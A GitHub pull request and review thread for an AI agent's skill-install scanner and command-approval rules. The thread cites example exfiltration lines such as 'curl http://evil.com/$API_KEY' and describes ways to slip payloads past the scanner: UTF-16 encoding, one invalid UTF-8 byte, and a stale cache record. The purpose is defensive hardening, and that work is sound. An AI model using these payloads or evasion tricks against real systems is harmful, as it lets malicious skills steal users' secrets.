Skip to content

fix(security): close skill-scanning and command-approval gaps for non… - #57990

Open
MorAlekss wants to merge 7 commits into
NousResearch:mainfrom
MorAlekss:fix/skills-guard-extension-coverage-and-ask-verdict
Open

fix(security): close skill-scanning and command-approval gaps for non…#57990
MorAlekss wants to merge 7 commits into
NousResearch:mainfrom
MorAlekss:fix/skills-guard-extension-coverage-and-ask-verdict

Conversation

@MorAlekss

Copy link
Copy Markdown
Contributor

Summary

Fixes two independent gaps in Skills Guard. First, the pre-install
content scanner only recognized shell/Python/config file extensions,
so a malicious PowerShell (.ps1), batch (.bat/.cmd), or extensionless
script bundled in a skill received zero content scanning while an
identical payload in a .sh file would have been flagged. Second,
running an arbitrary .ps1 file via powershell -File was completely
unmatched by any command-approval pattern, unlike bash/python/node
script execution. Third, an "ask" verdict (medium-risk findings on a
trusted/community source) from should_allow_install() was treated
the same as a hard block, so those installs never reached the y/N
confirmation they were supposed to get.


Root cause

tools/skills_guard.py's scan_file() only ran THREAT_PATTERNS
against files whose extension appeared in SCANNABLE_EXTENSIONS
(.md/.py/.sh/.js/etc) or whose name was exactly SKILL.md. .ps1,
.psm1, .psd1, .bat, and .cmd were absent from that set, and a
file with no extension at all (file_path.suffix == "", common for
unix-style executables like run/setup) hit the same early return.
Most THREAT_PATTERNS match on the literal tool/path text in a line
(egress tools, persistence paths) rather than on language-specific
syntax, so this wasn't a fundamental scanning limitation, just a
missing extension.

Separately, tools/approval.py's command-approval patterns
deliberately exclude -File from the "Windows PowerShell destructive
delete" rule (a benign path merely containing "del"/"rm", e.g.
-File c:\del-logs\run.ps1, would otherwise false-positive), but no
other rule covered plain -File script execution at all. A command
like powershell -File helper.ps1 matched nothing in
DANGEROUS_PATTERNS and was auto-approved with no warning, unlike the
existing -c/-e rule that already covers bash/python/node.

Separately again, should_allow_install() (in tools/skills_guard.py)
returns a three-state result (True/False/None, where None means
"ask"), but hermes_cli/skills_hub.py's do_install() checked it with
if not allowed:, and None is falsy in Python, so the "ask" branch
was indistinguishable from a hard block and never reached the existing
confirmation-prompt code further down the function.


Behavioral change

Before: a skill bundle could ship a malicious .ps1/.bat/extensionless
file that the scanner never inspected, and even if a user later ran it
via powershell -File, no approval prompt appeared at all. Separately,
skills that should have prompted for confirmation were unconditionally
blocked with a "Requires confirmation" reason printed under an
"Installation blocked" header.

After: .ps1/.psm1/.psd1/.bat/.cmd files and extensionless
files are scanned the same as any other bundled script.
powershell/pwsh invocations using -File now require approval with
a specific reason. An "ask" verdict prints a distinct
"Review required" message and falls through to the existing y/N
confirmation instead of being blocked outright.


What changed

tools/skills_guard.py: added .ps1, .psm1, .psd1, .bat,
.cmd to SCANNABLE_EXTENSIONS. scan_file()'s early-return guard now
also scans files with no extension, relying on the existing
UnicodeDecodeError/OSError handling to skip anything that turns out
to be a genuine binary.

tools/approval.py: added a pattern matching powershell/pwsh
(and their .exe forms) invoked with -File/-f, placed after the
existing destructive-delete and encoded-command rules.

hermes_cli/skills_hub.py: do_install() now checks
allowed is False (hard block, unchanged behavior) and separately
allowed is None (prints "Review required" and falls through to the
existing confirmation prompt, previously unreachable).

tests/tools/test_skills_guard.py: added tests confirming
.ps1/.bat/extensionless files are now scanned, and that an
extensionless binary still doesn't crash the scanner.

tests/tools/test_approval.py: added tests for the new -File
rule (plain, .exe, pwsh, with extra flags) and a negative case
confirming -Command isn't misattributed to it. Updated one existing
test whose prior expectation relied on the exact gap this fix closes.

tests/hermes_cli/test_skills_hub.py: added a test constructing an
"ask" verdict end-to-end and confirming it prints "Review required"
(not "Installation blocked") and reaches the actual install step.


What is NOT changed

  • should_allow_install()'s own decision logic is untouched; only the
    caller's three-state handling in do_install() was fixed
  • format_scan_report() and do_update()'s use of force=True are
    untouched — a related but separate issue already has an open PR
  • All existing skills-guard, approval, and skills-hub tests pass

@alt-glitch alt-glitch added type/security Security vulnerability or hardening comp/cli CLI entry point, hermes_cli/, setup wizard comp/tools Tool registry, model_tools, toolsets tool/skills Skills system (list, view, manage) P2 Medium — degraded but workaround exists labels Jul 4, 2026
@egilewski

Copy link
Copy Markdown
Contributor

suggesting changes

The patch closes the advertised scanner gaps for .ps1, .bat, and extensionless payloads, keeps powershell -Command "Get-Process" outside the new -File rule, and focused scanner/approval/skills-hub tests passed on a current-main patch replay.

The command-approval bypass is still reachable when the PowerShell -File flag itself is quoted: detect_dangerous_command('powershell "-File" helper.ps1') and detect_dangerous_command("powershell '-File' helper.ps1") both returned (False, None, None), even though those spellings still pass -File as the PowerShell argument after shell quote removal. Please normalize or match quoted -File/-f spellings before treating the arbitrary script execution approval gap as closed.

I reviewed the meaningful patch replayed onto current GitHub main; GitHub currently reports the submitted PR branch as mergeable, but this local replay does not prove future submitted-branch mergeability if main moves again.

Signed: GPT-5.5-xhigh in Codex

@egilewski

Copy link
Copy Markdown
Contributor

suggesting changes

The scanner and PowerShell -File gaps validate on a current-main patch replay, but the ask verdict fix introduces a non-interactive bypass in hermes_cli/skills_hub.py: when should_allow_install() returns None and do_install(..., skip_confirm=True) is used by non-interactive surfaces, the new branch prints "Review required" and then falls through past the confirmation prompt guarded by if not force and not skip_confirm, so the skill installs anyway. On current main the same synthetic ask verdict with skip_confirm=True stops under "Installation blocked" with no install; on the replay it printed "Review required" and then "Installed: frontend-design" under a run-root HERMES_HOME. Please make allowed is None fail closed or require an explicit reviewed override when confirmation cannot run, and consider recording the proceed/stop decision in the audit log.

Security evidence:

  • trust boundary: untrusted/community skill bundle moves from quarantine into installed skills.
  • source/sink/invariant: should_allow_install() returns ask; do_install() must not install review-required findings without confirmation.
  • current-main reproduction: the focused synthetic ask probe in the current-main worktree returned no install and printed "Installation blocked".
  • PR-head or patch-replay validation: the same probe on the current-main patch replay printed "Review required" and then "Installed: frontend-design".
  • positive/negative cases: PowerShell -File variants and .ps1/.bat/extensionless scanning now validate; powershell -Command "Get-Process" remains unflagged; extensionless binary scan returns no finding.
  • residual bypass search: skip_confirm=True remains a bypass of the confirmation invariant for ask verdicts.
  • reviewer validation: CodeRabbit reported this path; I independently reproduced it and rejected its separate case-sensitivity concern because _RE_FLAGS includes re.IGNORECASE and focused tests/probes pass.

I reviewed the meaningful patch replayed onto current GitHub main because local git merge-tree for the submitted head reports unrelated histories; GitHub currently reports the submitted PR branch as mergeable, but this replay does not prove future submitted-branch mergeability if main moves again.

Signed: GPT-5.5-xhigh in Codex

@MorAlekss

Copy link
Copy Markdown
Contributor Author

Fixed:

  • do_install() now fails closed when should_allow_install() returns "ask" (None) and skip_confirm=True. Previously it fell through and installed the skill silently, since no interactive prompt exists to actually get a human decision.
  • do_install()'s return type changed from None to bool, since a caller reporting install status back to a UI had no way to tell success from failure.

Added:

  • Fail-closed check in do_install() for the ask + skip_confirm=True case, with a distinct audit log reason.
  • A fix for the Desktop app specifically: its skill browser's install action (tui_gateway/server.py) calls do_install with skip_confirm=True and a no-op console, so even the "Review required" message went nowhere and the skill installed silently. It now checks do_install()'s real return value and reports the actual install outcome to the UI instead of always reporting True.
  • Regression tests: skip_confirm=True + ask verdict fails closed, skip_confirm=False still reaches the real y/N prompt (both accept and reject), and the Desktop app's install action reports the real install outcome instead of always True.

@egilewski

Copy link
Copy Markdown
Contributor

looks mergeable

The scanner and command-approval gaps validate on a current-main patch replay: .ps1, .bat, and extensionless skill payloads are scanned; powershell/pwsh -File including quoted "-File"/'-f' spellings now require approval; powershell -Command "Get-Process" remains outside the new -File rule. The ask verdict path now reaches an interactive y/N confirmation when one exists, fails closed when skip_confirm=True, and the Desktop/TUI install action reports the actual install result instead of unconditional success.

Security evidence:

  • trust boundary: untrusted/community skill bundles and command strings cross into installed skills or command auto-approval.
  • source/sink/invariant: scanner coverage must inspect script-like skill files; PowerShell script execution via -File must not auto-approve; review-required skill installs must not proceed without a human confirmation.
  • current-main reproduction: current main does not scan .ps1, .bat, or extensionless payloads and returns no PowerShell -File finding; its ask verdict path hard-blocks before the interactive confirmation rather than supporting the intended prompt.
  • PR-head or patch-replay validation: on the replay against current GitHub main, scanner probes found env_exfil_curl, reverse_shell, and destructive_root_rm; approval probes flagged plain and quoted PowerShell -File variants; the synthetic ask + skip_confirm=True install returned False without installing; focused changed tests passed.
  • positive/negative cases: extensionless binary scanning returned no finding; powershell -Command "Get-Process" was not attributed to the -File rule; interactive ask accepts and rejects through the real prompt; the TUI gateway reports both true and false install outcomes.
  • residual bypass search: I did not find a remaining bypass for the reviewed scanner, PowerShell -File, or non-interactive ask install invariants.
  • reviewer validation: CodeRabbit reported that the new regex also catches -f inside inline powershell -Command payloads; I reproduced that as a false-positive approval prompt, not an approval bypass, and also found its suggested narrowing would miss valid -ExecutionPolicy Bypass -File cases.

Worth improving:

  • The new PowerShell -File regex currently also prompts for inline commands such as powershell -Command "Write-Host -f Green ok". That is not a security bypass, but a future tightening should avoid misattributing -f inside -Command payloads without losing -ExecutionPolicy Bypass -File coverage.

I reviewed the meaningful patch replayed onto current GitHub main because the submitted head has no local merge base with the current local origin/main and the fetched GitHub merge ref was stale; GitHub currently reports the submitted PR branch as mergeable/clean, but this replay does not prove future submitted-branch mergeability if main moves again.

Signed: GPT-5.5-xhigh in Codex

@teknium1 teknium1 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for addressing the scanner coverage and non-interactive confirmation paths; the current-main premises are real (tools/skills_guard.py:529-582, tools/approval.py:595-610, and hermes_cli/skills_hub.py:670-680).

Problems

  • tui_gateway/server.py:13663 now returns the actual result, but the Hub overlay still closes unconditionally after the RPC resolves (ui-tui/src/components/skillsHub.tsx:79-82). A false install result remains invisible to that UI path.
  • The new rule in tools/approval.py:516 can classify -f inside an inline -Command payload as the outer -File flag, e.g. powershell -Command "Write-Host -f Green ok". The existing .* is compiled with DOTALL (tools/approval.py:459).

Suggested changes

  • Have skillsHub.tsx retain and display a failed install response, with a regression test.
  • Constrain the PowerShell matcher to invocation arguments before -Command/-c, and add the inline-command negative test while preserving the extra-options -File case.

Automated hermes-sweeper review.

Comment thread tui_gateway/server.py Outdated
@@ -13660,8 +13660,8 @@ class _Q:
def print(self, *a, **k):
pass

do_install(query, skip_confirm=True, console=_Q())
return _ok(rid, {"installed": True, "name": query})
installed = do_install(query, skip_confirm=True, console=_Q())

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Returning the real result fixes the RPC contract, but the Hub overlay currently ignores installed and closes on every resolved response (ui-tui/src/components/skillsHub.tsx:79-82). Please update that caller to show failure and remain open when this is false.

@MorAlekss MorAlekss Jul 25, 2026

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done in 754723d, with the test mount fixed in 089333e.

The caller now branches on the RPC result instead of closing unconditionally:

.then(r => {
  if (r?.installed) {
    onClose()
  } else {
    setErr(`Install failed for "${name}".`)
  }
})

Regression coverage in ui-tui/src/tests/skillsHub.test.tsx:

  • installed: false - asserts the install request was actually issued, that
    onClose was not called, and that the failure is rendered next to the skill
    name.
  • installed: true - asserts onClose fires exactly once.

Both pass on the current rebase onto main (2/2), as does the full ui-tui
suite. Note that packages/hermes-ink must be built first - vitest cannot
load the suite otherwise.

Comment thread tools/approval.py Outdated
@@ -511,6 +511,12 @@ def _sudo_stdin_block_result(description: str) -> dict:
# "del"/"rm" (e.g. `-File c:\del-logs\run.ps1`) is not.
(r'\b(?:powershell|pwsh)(?:\.exe)?\b(?:\s+-\S+)*\s+(?:-(?:command|c)\s+)?["\']?(?:remove-item|rmdir|erase|del|rd|ri|rm)\b', "Windows PowerShell destructive delete"),
(r'\b(?:powershell|pwsh)(?:\.exe)?\b.*\s-(?:encodedcommand|enc|e)\b', "PowerShell encoded command execution"),
# -File was intentionally excluded from the destructive-delete pattern
# above (a benign path containing "del"/"rm" would false-positive), but
# that left running an arbitrary .ps1 script via -File completely

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Because this pattern is compiled with DOTALL and has .* before -f, it also matches an inline payload such as powershell -Command "Write-Host -f Green ok". Please constrain the match to PowerShell invocation arguments and add that negative regression case.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The rule this thread is about is no longer in the branch, so the DOTALL
false-positive is gone rather than constrained.

Current main covers this structurally instead. tools/approval.py carries an
interpreter exec-flag scan with
_INTERPRETER_EXEC_FLAGS["powershell"] = {"-command", "-c", "-file", "-f"},
and it already satisfies the constraint you asked for: shell tokenization
keeps a quoted payload as a single invocation argument, so an inline
payload's own -f is never read as a flag, and the scan returns the first
exec flag in argument order, so -Command wins.

_interpreter_exec_flag("powershell", ["-Command", "Write-Host -f Green ok"])
    -> "-command"
_interpreter_exec_flag("powershell", ["-NoProfile", "-Command", "Write-Host -File x"])
    -> "-command"
_interpreter_exec_flag("powershell", ["-ExecutionPolicy", "Bypass", "-File", "helper.ps1"])
    -> "-file"

Keeping my regex on top of that would have been a second, weaker rule for
the same thing, and its test collided with the upstream
test_powershell_benign_path_containing_del_not_matched_as_delete on rebase.

I kept the negative case you asked for, since the suite had no coverage of
an inline payload carrying -f. Two tests in e507543:
test_powershell_inline_command_payload_f_is_not_the_file_flag and
test_powershell_file_flag_after_leading_options_still_matches. They pin both
halves of the request: an inline payload must not resolve to -File, and
-File after ordinary leading options must still resolve.

One note, not a request: -File surfaces the generic
"script execution via -e/-c flag" description the tokenizer uses for every
interpreter exec flag. It is still detected as dangerous; only the message is
less specific than the rule I originally proposed. If a distinct label is
worth having, I'd rather send it as its own PR against the tokenizer than
reopen approval.py here.

@teknium1 teknium1 added sweeper:risk-security-boundary Sweeper risk: may affect sandboxing, auth, credentials, or sensitive data sweeper:risk-compatibility Sweeper risk: may break existing users, config, migrations, defaults, or upgrades sweeper:risk-platform-windows Sweeper risk: may break or behave differently on native Windows sweeper:blast-moderate Sweeper blast radius: moderate — a subsystem or single platform labels Jul 15, 2026
@egilewski

Copy link
Copy Markdown
Contributor

suggesting changes

The production changes replay cleanly onto current GitHub main, and the focused Python, approval, gateway, and TypeScript probes pass, but the new Skills Hub UI regression test no longer exercises the install path on that replay. npm run --prefix ui-tui test -- src/__tests__/skillsHub.test.tsx fails both cases: the mock sees only the initial skills.manage list request, never the install request, so neither the installed: false overlay behavior nor the installed: true close behavior is validated. The same two tests pass on the submitted head, which indicates the test's internal Hermes Ink input harness is stale relative to current main.

Please rebase and update the harness to register input through the current Hermes Ink test surface, then retain both assertions: a false install result keeps the overlay open with an error, while a true result closes it. The replayed production logic itself behaved correctly in direct false/true gateway probes; this request is for merge-ready regression evidence, not a different implementation.

The submitted branch has unrelated history with current main, so I reviewed a narrow changed-path patch replay against current GitHub main; that replay does not establish that the submitted branch itself is mergeable.

Security evidence:

  • trust boundary: a community skill's install result crosses from the gateway into the TUI success/failure surface.
  • source/sink/invariant: skills.manage must propagate the real install result, and SkillsHub must not close on installed: false.
  • current-main reproduction: current main reports success unconditionally in the gateway and closes the overlay on every resolved install request.
  • PR-head or patch-replay validation: the direct replayed gateway probes return false and true correctly, but both replayed UI tests fail before invoking install.
  • positive/negative cases: the direct false and true gateway outcomes are distinct; the UI-level negative and positive cases remain unexercised on current main.
  • residual bypass search: no production bypass was found in the replayed install path; the stale UI harness is the remaining validation gap.
  • reviewer validation: the failure reproduced on the current-main replay, while the submitted-head UI test passed.

Signed: GPT-5.6-sol-xhigh in Codex

@MorAlekss
MorAlekss force-pushed the fix/skills-guard-extension-coverage-and-ask-verdict branch 2 times, most recently from 6fb3bfe to e507543 Compare July 25, 2026 15:05
@MorAlekss

Copy link
Copy Markdown
Contributor Author

Rebased onto current main (760112a). History is linear now: the earlier
merge commits are gone, so the "unrelated history" problem from the last
review no longer applies and the branch is directly mergeable.

Scope change worth flagging up front: the PowerShell -File approval rule is
no longer part of this PR. #63585 closed that gap while this was open.
On an unmodified current main,
powershell -File x.ps1, a quoted "-File", and
-ExecutionPolicy Bypass -File x.ps1 are all already detected. Carrying my
regex on top would have been a second, weaker rule for the same thing, and
its test collided with upstream's on rebase.

What remains:

  • tools/skills_guard.py: the pre-install content scanner only recognized
    shell/Python/config extensions, so a .ps1/.bat/.cmd or extensionless
    script in a skill bundle got no content scanning at all.
  • hermes_cli/skills_hub.py: an "ask" verdict was treated as a hard block
    instead of reaching the y/N confirmation, and now fails closed when no
    interactive confirmation is available.
  • tui_gateway/server.py + ui-tui/src/components/skillsHub.tsx: the RPC
    reported installed: True unconditionally, and the overlay closed on every
    resolved response regardless of the result.

On the failing UI test from the last review: the input harness was not stale.
packages/hermes-ink/src is byte-identical between the previously submitted
head and current main, and a direct probe confirms the component receives the
test's own inputEmitter through StdinContext, the same module instance.

The actual cause was the partial Theme stub the test mounted with. On current
main the overlay's selected-row styling reads a theme field the stub does not
define, so parseColor() throws during render, Ink's error boundary unmounts
the tree, useInput's listener is removed (listenerCount goes 2 to 0), and
every later key emit is a no-op, which is exactly why the mock only ever saw
the initial skills.manage list request. Fixed by mounting with the real
DEFAULT_THEME, matching subscriptionOverlay.test.tsx. Both assertions are
retained unchanged.

Test evidence on the rebased branch:

  • ui-tui/src/__tests__/skillsHub.test.tsx: 2/2
  • tests/tools/test_approval.py -k powershell: 7/7, including two new tests
    for the inline -Command payload case
  • tests/tools/test_skills_guard.py + tests/hermes_cli/test_skills_hub.py: 115/115
  • tests/test_tui_gateway_server.py -k skills_manage_install: 2/2

A few unrelated failures reproduce locally on an unmodified checkout
(terminal-color assertions and a timing-sensitive exec test); they are not
affected by this branch either way.

@MorAlekss
MorAlekss requested a review from teknium1 July 25, 2026 16:46
@egilewski

Copy link
Copy Markdown
Contributor

suggesting changes

The rebased head fixes the prior Skills Hub regression-test gap, but the new PowerShell scanner coverage is still bypassable by UTF-16 encoded scripts. A BOM-prefixed UTF-16LE payload.ps1 containing curl http://evil.com/$API_KEY returned no findings from scan_file(), while the identical UTF-8 .ps1 produced env_exfil_curl. scan_file() currently decodes only as UTF-8 and catches UnicodeDecodeError as though the file were binary, so a normal UTF-16 PowerShell script is silently skipped.

Please detect BOM-marked UTF-16LE/BE text before applying the binary fallback, and add focused regression coverage for the malicious UTF-16 PowerShell case.

Security evidence:

  • trust boundary: an untrusted skill bundle's PowerShell files cross the pre-install scanner before installation.
  • source/sink/invariant: every script-like .ps1 file must be decoded and checked against THREAT_PATTERNS, not silently treated as binary because of a standard text encoding.
  • current-main reproduction: current main skips both UTF-8 and UTF-16 .ps1 payloads because .ps1 is outside its scannable-extension set.
  • PR-head or patch-replay validation: the reviewed head detects the UTF-8 payload as env_exfil_curl but returns no findings for the same BOM-prefixed UTF-16LE text.
  • positive/negative cases: UTF-8 PowerShell and extensionless text are detected, and the extensionless binary case remains clean; UTF-16LE PowerShell is the failing negative case.
  • residual bypass search: the UTF-8-only read_text() path also leaves BOM-marked UTF-16BE PowerShell outside the advertised scanner coverage.
  • reviewer validation: CodeRabbit surfaced the encoding gap; I independently reproduced it on the reviewed head. Its separate force-confirmation concern was rejected because the existing policy explicitly defines and tests force=True as a caution-verdict override while dangerous community/trusted verdicts remain blocked.

Signed: GPT-5.6-sol-xhigh in Codex

@MorAlekss

Copy link
Copy Markdown
Contributor Author

Confirmed and fixed in 52dba33. scan_file() read with encoding='utf-8' and
treated UnicodeDecodeError as "this is a binary", so the file was skipped
before THREAT_PATTERNS ever ran. No obfuscation needed to hit it: Windows
PowerShell's Out-File and Set-Content default to UTF-16LE with a BOM, so an
attacker just saves the file the way Windows saves it.

Wider than the .ps1 case you reported. Same skip for UTF-16BE, UTF-32, and for
.bat/.cmd and extensionless files, all of which this PR otherwise claims to
scan.

A second defect turned up while testing: a UTF-8 BOM does decode, but the mark
lands in the text as U+FEFF and trips invisible_unicode, so every
Windows-saved file carrying one produced a spurious finding. Dropping the BOM
after decoding fixes that too.

_decode_text() now checks a BOM table ahead of the UTF-8 attempt, longest
mark first since the UTF-32LE BOM starts with the UTF-16LE one, and returns
None when nothing decodes so genuine binaries still skip as before:

utf-16le+BOM .ps1      env_exfil_curl      clean utf-16 .ps1    no findings
utf-16be+BOM .ps1      env_exfil_curl      clean utf-8 .ps1     no findings
utf-32+BOM .ps1        env_exfil_curl      raw binary           no findings
utf-8 BOM .ps1         env_exfil_curl      PNG, no extension    no findings
utf-16le .bat / .cmd   env_exfil_curl
utf-16le, no extension env_exfil_curl

Eight regression tests in TestBomEncodedScripts, six of which fail without
the decoding change; the other two are controls. Full test_skills_guard.py:
92 passed.

@egilewski

Copy link
Copy Markdown
Contributor

suggesting changes

tools/skills_guard.py::_decode_text() still returns None for any non-BOM UTF-8 decoding error, and scan_file() interprets that as a genuine binary. An extensionless run script containing one 0xFF byte in a shell comment followed by curl http://evil.invalid/$API_KEY therefore produces no findings on the current-main patch replay, even though /bin/sh accepts and executes the same bytes; a harmless probe that shadowed curl returned status 0 and reached the call. This leaves the newly claimed extensionless-script coverage bypassable with one byte.

Please make undecodable content fail closed when it is script-like, or scan it in a byte-preserving way that cannot drop ASCII threat patterns, while retaining the binary exception only after robust classification. Add this invalid-byte executable as a finding regression alongside the genuine-binary negative control.

The BOM-encoded PowerShell cases, interactive and non-interactive ask-verdict behavior, gateway false/true propagation, and Skills Hub failure/success UI cases otherwise validate as expected.

Security evidence:

  • trust boundary: community skill bundle bytes cross the pre-install scanner before installation, and install results cross the gateway into the TUI.
  • source/sink/invariant: script-like files, including extensionless executables, must not be classified as binary solely because one byte is not valid UTF-8; an executable egress line must reach the threat-pattern scanner.
  • current-main reproduction: current main returns no findings for the invalid-byte extensionless script because extensionless files are excluded before decoding.
  • PR-head or patch-replay validation: the current-main patch replay also returns no findings after _decode_text() rejects the single invalid byte, while /bin/sh accepts and executes the same script bytes.
  • positive/negative cases: BOM-marked UTF-8, UTF-16LE/BE, and UTF-32 payloads are detected and genuine binary controls remain clean, but an executable text file with one invalid byte is incorrectly grouped with those binaries.
  • residual bypass search: inserting one invalid UTF-8 byte in a shell comment bypasses the newly added extensionless-file scan without changing the executable payload.
  • reviewer validation: an in-memory run probe made scan_file(..., "run") return no findings; executing the same descriptor through /bin/sh returned status 0 and printed SAFE_EXECUTION through a locally shadowed curl function.

I reviewed the six-commit patch replayed onto current GitHub main.

Signed: GPT-5.6-sol-xhigh in Codex

@MorAlekss
MorAlekss force-pushed the fix/skills-guard-extension-coverage-and-ask-verdict branch from 52dba33 to 3f1f203 Compare July 27, 2026 11:13
@egilewski

Copy link
Copy Markdown
Contributor

not enough evidence

I attempted the review using a run-owned local patch replay of PR head 3f1f203556b07cb2b016544fb33e474ef0bedd32 against current GitHub main at a4973c3f11d9cc92da986cbe150d1e79d094626f, but the replay could not produce a coherent tree because conflict resolution is required in at least hermes_cli/skills_hub.py and tests/test_tui_gateway_server.py. The submitted branch's stale/conflicted status is informational and was not treated as a standalone blocker; the missing evidence is a conflict-resolved tree that preserves the PR's intended security semantics.

At the submitted PR head, static review found fail-closed handling for an ask verdict, boolean installation-result propagation, broader script decoding and scanning, and positive and negative tests; a decoding probe also passed for text and binary cases. Those checks do not establish post-integration behavior because current main changed overlapping skill-install and gateway surfaces. Please rebase or otherwise resolve the conflicts onto current main, then run the relevant scanner, non-interactive install, JSON-RPC, and TUI success/failure tests so the security conclusion can be completed.

Signed: GPT-5.6-sol-xhigh in Codex

@MorAlekss
MorAlekss force-pushed the fix/skills-guard-extension-coverage-and-ask-verdict branch from 3f1f203 to a93164b Compare July 29, 2026 22:37
@MorAlekss

Copy link
Copy Markdown
Contributor Author

Rebased onto current main in a93164b9.

One thing to flag before you replay it, since the diff no longer matches your
line references. The single conflict was in tui_gateway/server.py and was not
mechanical: upstream has split the @method handlers into methods_*.py
modules, so @method("skills.manage") and its unconditional
{"installed": True, "name": query} now live in tui_gateway/methods_tools.py.
The resolution took upstream's server.py wholesale and relocated the fix into
the new module. Verified by diff that the PR's only edit to server.py had ever
been those two lines, so nothing was dropped.

The tests needed no change: they dispatch through server.handle_request by
method name, and the split modules rebind onto that namespace.

Runs on the rebased head:

tests/tools/test_skills_guard.py
tests/hermes_cli/test_skills_hub.py
tests/test_tui_gateway_server.py        627 passed
ui-tui skillsHub.test.tsx                 2 passed

The relocation is exercised rather than passing incidentally: reverting
tui_gateway/methods_tools.py to the upstream copy makes
test_skills_manage_install_reports_actual_result_not_always_true fail while
the success-path test still passes.

@MorAlekss
MorAlekss force-pushed the fix/skills-guard-extension-coverage-and-ask-verdict branch from a93164b to 832e3c3 Compare July 29, 2026 22:59
@MorAlekss

Copy link
Copy Markdown
Contributor Author

Pushed again in 832e3c3: #74383 landed in the meantime and pruned the suite
from 46,820 to 19,757 test functions, which shrank test_skills_guard.py from
721 lines to 442 and test_skills_hub.py from 900 to 315 and re-conflicted the
branch. Rebased onto 92856bc and re-ran the same four suites: 549 python
passed, TUI 2 of 2. The python total is lower than the 627 above only because
the prune removed other tests from those files.

@egilewski

Copy link
Copy Markdown
Contributor

suggesting changes

scan_skill_cached still accepts pre-change cache records because SCANNER_VERSION remains skills-guard-v1 in tools/skills_guard.py. I reproduced this by seeding a same-content, same-source safe v1 record for a skill containing a malicious payload.ps1: the reviewed code reused it as fresh: false with zero findings, while a direct scan of the identical bundle reported env_exfil_curl. Please bump the scanner/cache version and add a regression proving that an old safe record is rejected so the widened extension and decoding rules are applied to previously cached bundles.

Security evidence:

  • trust boundary: Quarantined bundles cross into installation through scan_skill_cached, so cache acceptance is part of the installation security gate.
  • source/sink/invariant: scan_skill_cached accepts a record when its bundle, source, and scanner version match, but the PR changes scanner behavior without changing SCANNER_VERSION, allowing a valid pre-change result to bypass the new rules.
  • current-main reproduction: Current main uses skills-guard-v1 cache records and its direct scanner misses the new PowerShell fixture.
  • PR-head or patch-replay validation: With the reviewed change integrated onto current main, a seeded same-content and same-source v1 safe record was reused with zero findings even though direct scanning of the same payload.ps1 produced env_exfil_curl.
  • positive/negative cases: The focused scanner, ask-verdict, PowerShell approval, gateway, and UI tests cover uncached scanning and result propagation, but none verifies invalidation of a cache written by the old scanner.
  • residual bypass search: The cache key, version check, installation call site, and unchanged scanner version were traced; the stale-cache bypass remains.
  • reviewer validation: Independent source review, current-main comparison, patch-replay inspection, and a direct stale-cache probe reproduced the blocker.

Not checked:

  • CodeRabbit review

Signed: GPT-5.6-sol-xhigh in Codex

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

comp/cli CLI entry point, hermes_cli/, setup wizard comp/tools Tool registry, model_tools, toolsets P2 Medium — degraded but workaround exists sweeper:blast-moderate Sweeper blast radius: moderate — a subsystem or single platform sweeper:risk-compatibility Sweeper risk: may break existing users, config, migrations, defaults, or upgrades sweeper:risk-platform-windows Sweeper risk: may break or behave differently on native Windows sweeper:risk-security-boundary Sweeper risk: may affect sandboxing, auth, credentials, or sensitive data tool/skills Skills system (list, view, manage) type/security Security vulnerability or hardening

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants